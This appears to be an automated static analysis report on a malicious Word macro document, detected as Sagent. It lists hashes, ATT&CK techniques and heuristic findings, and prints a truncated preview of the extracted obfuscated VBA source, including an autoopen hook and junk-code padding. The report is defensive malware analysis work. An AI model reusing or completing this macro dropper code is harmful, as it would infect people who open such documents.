Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 80f8da502cd70918…

MALICIOUS

Office (OLE)

155.6 KB Created: 2019-04-05 19:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 8f645c5f4e62ada46daacda273fc8027 SHA-1: 5096ffd182414a744a5f0f1d669eda9576d505f7 SHA-256: 80f8da502cd709185e2cbadca13de5fb1c1663ea5cd99f2ba9a351245ddee784
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV and exhibits critical heuristic firings related to VBA macros and the execution of code via GetObject. The presence of an AutoOpen macro indicates an attempt to automatically execute malicious code upon opening the document. The VBA script itself is heavily obfuscated but the presence of the macro and the GetObject call strongly suggest it's designed to download and execute a secondary payload, aligning with the characteristics of a macro-based malware dropper.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-6932497-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6932497-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 35843 bytes
SHA-256: 7870049e7ebbbf3273e066ad3dc7a63bc772d68d39d24955f090d6fe40949308
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "FAABDADA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "hZUoXUcA"
Attribute VB_Base = "0{0044E13D-6B39-4E0E-8329-458B160CB026}{704E36E8-FD0D-413C-BF71-B2E93F29FB33}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "qZAQCAo"
Attribute VB_Base = "0{011C69D3-5269-45E0-B02C-1420E620B63B}{62E10972-9CE7-472C-9CD1-42AE75DFAC16}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "VcAwAXA"
Function HADBC_()
   If 442254873 = 499686504 Then
      b_C_cD = 557832723 + Hex(LA4ADQA) + 538712391 / NAcAcA * (QG1DwQAG * CSng(61118027 / CByte(pUAUwUQU)) - zo4AAAAQ - Sqr(QBXwA1BD / 73938180 + 144019114 + CDate(VABQAXQ4 - Sgn(201613861) + wAAUAAXU * 146645847))) + (891176315 + 61339754 + 484509555 * KoCBUA)
End If
   If 316993078 = 507198048 Then
      bBDDAA = 636959852 + Hex(FQABoQ) + 289853246 / GAcDUAGA * (MAQk_A * CSng(258629473 / CByte(VZAAXU)) - lDCBwQ4 - Sqr(QA_CGGAQ / 434076849 + 729545492 + CDate(uAAAwow - Sgn(97153239) + VAoCAQwx * 913110675))) + (167757396 + 748495757 + 640735135 * wAABoDQC)
End If
   If 851913475 = 903381327 Then
      qCQcCDD = 586780513 + Hex(CA4DAXA) + 117818655 / BUBcx4cX * (FBAoA4C * CSng(478473590 / CByte(p4QkAAA)) - GBAZQA - Sqr(oCADAA / 461366938 + 436412164 + CDate(mAXwBA - Sgn(45513629) + zAB1BDo * 209613792))) + (654083735 + 373494509 + 334400110 * L_AZAA)
End If
End Function
Sub autoopen()
tkAAB4D_
End Sub
Function Yo_QQA()
   If 274942884 = 17039148 Then
      dGA_AoX = 361563368 + Hex(ZABAG_Z) + 483864198 / KZwQBD * (zXDk1BDZ * CSng(197868115 / CByte(MACAU1)) - iUcCQAZA - Sqr(K4c_AAA / 273878866 + 374207182 + CDate(mA1cXk_A - Sgn(766582653) + n4ADcA * 587690647))) + (466297411 + 802991783 + 695342327 * zoAQXQ)
End If
   If 137002513 = 546200468 Then
      TGAZQQ = 529831822 + Hex(YABDAwQ) + 611028127 / PACBQAQB * (uBUAUk_ * CSng(204333742 / CByte(oUAXxo)) - CABA_B - Sqr(WADBxwDA / 654082578 + 906315897 + CDate(TAAABBA4 - Sgn(689515842) + jQAZAA_k * 563115738))) + (98684719 + 969116289 + 673525409 * uABDUQkB)
End If
   If 458352785 = 885888611 Then
      kQXUA_AA = 737674241 + Hex(W__CcA) + 68097222 / KcAQ4_ * (pwBUX4 * CSng(619921805 / CByte(GZcA1k)) - Q_AAkQU - Sqr(dUAAAUA / 40213486 + 520610438 + CDate(wwoBAA - Sgn(764491278) + HABxX1c * 232653729))) + (688426948 + 674333135 + 439441484 * kxAAAA)
End If
End Function

Attribute VB_Name = "FxBwUC4Q"
Function OAcBDAA_()
   If 988491044 = 553866613 Then
      c1cD1A = 127125920 + Hex(D_1AAA) + 213181095 / wAUQcXCD * (jBUAcxDD * CSng(574265294 / CByte(MAAA_QA)) - XCxD4X4Q - Sqr(HXAA_wDA / 315555780 + 138702418 + CDate(h1ZUQG_Q - Sgn(669613157) + dDAAABQU * 577118532))) + (74478579 + 801686305 + 896028479 * zBDDXCcU)
End If
   If 650451380 = 278278148 Then
      WBBkcA = 541609089 + Hex(wABAQAcQ) + 905932752 / LDQ_GAD * (fAAAxcA * CSng(580416402 / CByte(fAAAZAZD)) - joAAkAA - Sqr(WAA_QXA / 761349395 + 317246653 + CDate(pA1kAUQA - Sgn(285815372) + dB_AUA * 810258521))) + (120063079 + 226902755 + 652279142 * qAAAAB)
End If
   If 963336529 = 380138346 Then
      l1AAXkGA = 289588896 + Hex(fAxoAwQA) + 649286081 / TBX_woQ * (dAXUkB * CSng(847862891 / CByte(ZQAAZAo)) - z_XABB - Sqr(JUAAQxB1 / 145973512 + 846648216 + CDate(nBUQ_Ao - Sgn(870063914) + B41BAAB * 237451039))) + (178705871 + 636963956 + 162988368 * HwGUZAA)
End If
End Function
Function tkAAB4D_()
On Error Resume Next
   If 260739108 = 553494848 Then
      TA_kBU = 490469089 + Hex(BA1o_x1) + 555606718 / SkAADA * (AXDoCA * CSng(419488025 / CByte(JAw1xDBZ)) -
... (truncated)

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